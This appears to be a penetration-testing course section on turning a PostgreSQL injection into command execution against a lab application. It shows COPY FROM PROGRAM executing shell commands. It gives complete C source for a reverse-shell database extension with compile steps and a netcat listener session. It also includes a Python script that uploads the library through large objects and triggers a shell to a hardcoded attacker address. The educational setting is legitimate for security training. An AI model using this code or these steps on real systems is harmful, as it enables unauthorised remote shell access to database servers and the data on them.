# Command Execution

## Introduction

In this section we will take a look at two ways you can run commands via a PostgreSQL injection.

## Method 1: COPY

The first method makes use of the built-in [COPY](https://www.postgresql.org/docs/current/sql-copy.html) command once again. As it turns out, aside from reading and writing files, COPY also lets us store data from a program in a table. What this means is that we can get PostgreSQL to run shell commands as the postgres user, store the results in a table, and read them out.

Command Execution

bluebird=# CREATE TABLE tmp(t TEXT);  
CREATE TABLE  
bluebird=# COPY tmp FROM PROGRAM 'id';  
COPY 1  
bluebird=# SELECT \* FROM tmp;  
 t   
------------------------------------------------------------------------  
 uid=119(postgres) gid=124(postgres) groups=124(postgres),118(ssl-cert)  
(1 row)  
  
bluebird=# DROP TABLE tmp;  
DROP TABLE  
bluebird=# exit

Interestingly enough, this functionality is assigned a CVE ([CVE-2019-9193](https://nvd.nist.gov/vuln/detail/CVE-2019-9193)), however the PostgreSQL team issued a [statement](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) that this is intended functionality and therefore not a security issue.

#### Permissions

In order to use COPY for remote code execution, the user must have the [pg\_execute\_server\_program](https://www.postgresql.org/docs/11/default-roles.html) role, or be a superuser.

## Method 2: PostgreSQL Extensions

A second, slightly more complicated way of running commands in PostgreSQL is by creating a PostgreSQL extension. [Extensions](https://www.postgresql.org/docs/current/external-extensions.html) are libraries that can be loaded into PostgreSQL to add custom functionalities.

As an example, we will walk through compiling and using the following custom C extension for PostgreSQL that returns a reverse shell as the postgres user:

Code: c

// Reverse Shell as a Postgres Extension  
// William Moody (@bmdyy)  
// 08.02.2023  
  
// CREATE FUNCTION rev\_shell(text, integer) RETURNS integer AS '.../pg\_rev\_shell', 'rev\_shell' LANGUAGE C STRICT;  
// SELECT rev\_shell('127.0.0.1', 443);  
// DROP FUNCTION rev\_shell;  
  
// sudo apt install postgresql-server-dev-<version>  
// gcc -I$(pg\_config --includedir-server) -shared -fPIC -o pg\_rev\_shell.so pg\_rev\_shell.c  
  
#include <sys/socket.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <stdio.h>  
  
#include "postgres.h"  
#include "fmgr.h"  
#include "utils/builtins.h"  
  
PG\_MODULE\_MAGIC;  
  
PG\_FUNCTION\_INFO\_V1(rev\_shell);  
  
Datum  
rev\_shell(PG\_FUNCTION\_ARGS)  
{  
 // Get arguments  
 char \*LHOST = text\_to\_cstring(PG\_GETARG\_TEXT\_PP(0));  
 int32 LPORT = PG\_GETARG\_INT32(1);  
  
 // Define necessary struct  
 struct sockaddr\_in serv\_addr;  
 serv\_addr.sin\_family = AF\_INET;  
 serv\_addr.sin\_port = htons(LPORT); // LPORT  
 inet\_pton(AF\_INET, LHOST, &serv\_addr.sin\_addr); // LHOST  
  
 // Connect to target  
 int sock = socket(AF\_INET, SOCK\_STREAM, 0);  
 int client\_fd = connect(sock, (struct sockaddr\*)&serv\_addr, sizeof(serv\_addr));  
  
 // Redirect STDOUT/IN/ERR to connection  
 dup2(sock, 0);  
 dup2(sock, 1);  
 dup2(sock, 2);  
  
 // Start interactive /bin/sh  
 execve("/bin/sh", NULL, NULL);  
  
 PG\_RETURN\_INT32(0);  
}

Note: This specific exploit targets PostgreSQL running on Linux. The process for writing and compiling an exploit for Windows is very similar, it just requires different API calls and compiling to a DLL.

Near the beginning of the file, you may notice the line PG\_MODULE\_MAGIC. To avoid issues due to incompatibilities, PostgreSQL will only allow you to load extensions which were compiled for the correct (major) version. In this case, the version of PostgreSQL that we are targeting is 13.9.

To compile this extension, we need to first install the postgresql-server-dev package for version 13:

Command Execution

yovecio@htb[/htb]$ sudo apt install postgresql-server-dev-13

Once it is installed, we can use gcc to compile it to a shared library object like so:

Command Execution

yovecio@htb[/htb]$ gcc -I$(pg\_config --includedir-server) -shared -fPIC -o pg\_rev\_shell.so pg\_rev\_shell.c

The next step is to upload pg\_rev\_shell.so to the webserver. It doesn't matter how you do this (COPY or Large Objects), as long as you know the exact path it was uploaded to. Once it's been uploaded, we can run CREATE FUNCTION to load the rev\_shell function from the library into the database and then call it to get a reverse shell.

Command Execution

bluebird=# CREATE FUNCTION rev\_shell(text, integer) RETURNS integer AS '/tmp/pg\_rev\_shell', 'rev\_shell' LANGUAGE C STRICT;  
CREATE FUNCTION  
bluebird=# SELECT rev\_shell('127.0.0.1', 443);  
server closed the connection unexpectedly  
 This probably means the server terminated abnormally  
 before or while processing the request.

Note: Even though the file is pg\_rev\_shell.so, the extension is dropped in the PostgreSQL command.

When you run the second SQL command, it is expected for the database to hang since it's waiting for the function (reverse shell) to finish. If you check your listener, you should receive a reverse shell as postgres.

Command Execution

yovecio@htb[/htb]$ nc -nvlp 443  
listening on [any] 443 ...  
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 45692  
whoami  
postgres  
exit

After you're done running commands, make sure to clean up after yourself by dropping the function from the database, as well as any large objects you may have created (depending on how you uploaded the library):

Command Execution

bluebird=# DROP FUNCTION rev\_shell;  
DROP FUNCTION  
bluebird=# SELECT lo\_unlink(58017);  
 lo\_unlink   
-----------  
 1  
(1 row)

Note: If you'd prefer, you can use the testing VM for compilation, where gcc and postgresql-server-dev-13 are already installed.

#### Permissions

Not every user can create functions in PostgreSQL. To do so, a user must be either a superuser, or have the CREATE privilege granted on the public schema. Additionally, C must have been added as a trusted language, since it is untrusted by default for all (non-super) users.

For reference check out the [PSQL Documentation](https://www.postgresql.org/docs/current/sql-grant.html) and this answer on [StackOverflow](https://stackoverflow.com/questions/7014437/error-permission-denied-for-language-c).

#### Automation / Writing an Exploit

In some cases it may make sense to write an exploit script to automate the steps for you. Uploading a shared library via large objects and then invoking a function call can require many requests and submitting those all manually can get quite tedious, so this is a good scenario to write a script to do it for you.

Here is a nearly completed script which automates (unauthenticated) command execution against BlueBird. Feel free to use it as a base for the exercise portion of this section.

Code: python

#!/usr/bin/python3  
  
import requests  
import random  
import string  
from urllib.parse import quote\_plus  
import math  
  
# Parameters for call to rev\_shell  
LHOST = "192.168.0.122"  
LPORT = 443  
  
# Generate a random string  
def randomString(N):  
 return ''.join(random.choices(string.ascii\_letters + string.digits, k=N))  
  
# Inject a query  
def sqli(q):  
 # TODO: Use an SQL injection to run the query `q`  
  
# Read the compiled extension  
with open("pg\_rev\_shell.so","rb") as f:  
 raw = f.read()  
  
# Create a large object  
loid = random.randint(50000,60000)  
sqli(f"SELECT lo\_create({loid});")  
print(f"[\*] Created large object with ID: {loid}")  
  
# Upload pg\_rev\_shell.so to large object  
for pageno in range(math.ceil(len(raw)/2048)):  
 page = raw[pageno\*2048:pageno\*2048+2048]  
 print(f"[\*] Uploading Page: {pageno}, Length: {len(page)}")  
 sqli(f"INSERT INTO pg\_largeobject (loid, pageno, data) VALUES ({loid}, {pageno}, decode('{page.hex()}','hex'));")  
  
# Write large object to file and run reverse shell  
query = f"SELECT lo\_export({loid}, '/tmp/pg\_rev\_shell.so');"  
query += f"SELECT lo\_unlink({loid});"  
query += "DROP FUNCTION IF EXISTS rev\_shell;"  
query += "CREATE FUNCTION rev\_shell(text, integer) RETURNS integer AS '/tmp/pg\_rev\_shell', 'rev\_shell' LANGUAGE C STRICT;"  
query += f"SELECT rev\_shell('{LHOST}', {LPORT});"  
print(f"[\*] Writing pg\_rev\_shell.so to disk and triggering reverse shell (LHOST: {LHOST}, LPORT: {LPORT})")  
sqli(query)